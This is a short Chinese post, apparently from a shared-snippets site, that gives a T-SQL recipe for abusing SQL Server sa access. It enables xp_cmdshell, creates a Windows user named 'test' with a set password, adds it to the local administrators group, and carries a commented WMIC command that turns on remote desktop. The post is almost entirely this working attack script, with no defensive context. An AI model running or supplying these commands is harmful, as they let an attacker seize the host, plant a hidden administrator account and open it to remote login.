您的位置:首页 > 数据库

利用sqlserver sa更改系统密码

2017-12-12 15:42 302 查看
--允许修改高级属性
sp_configure 'show advanced options',1
go
reconfigure
go
--启用扩展存储命令
sp_configure 'xp_cmdshell',1
go
reconfigure
go
--系统添加一个windows用户
xp_cmdshell 'net user test password1! /add'
--新创建的用户加入到管理员
xp_cmdshell 'net localgroup administrators test /add'
--启用远程桌面(适合windows 2003系统)
--xp_cmdshell'Wmic PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1'
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: